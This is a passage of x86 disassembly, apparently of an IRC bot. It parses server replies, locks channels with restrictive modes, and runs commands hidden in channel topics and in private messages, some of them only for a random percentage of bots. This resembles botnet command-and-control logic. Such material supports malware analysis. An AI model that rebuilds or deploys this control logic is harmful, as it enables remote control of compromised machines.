loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DA70
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41ED18
		push	offset dword_41DA80
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41EF18
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41EF18
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EE18
		push	[ebp+var_90]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]


loc_40E3E0:				; DATA XREF: .data:off_419BA4o
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EE18
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EE18
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41E97C, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41E97C, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DA38[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
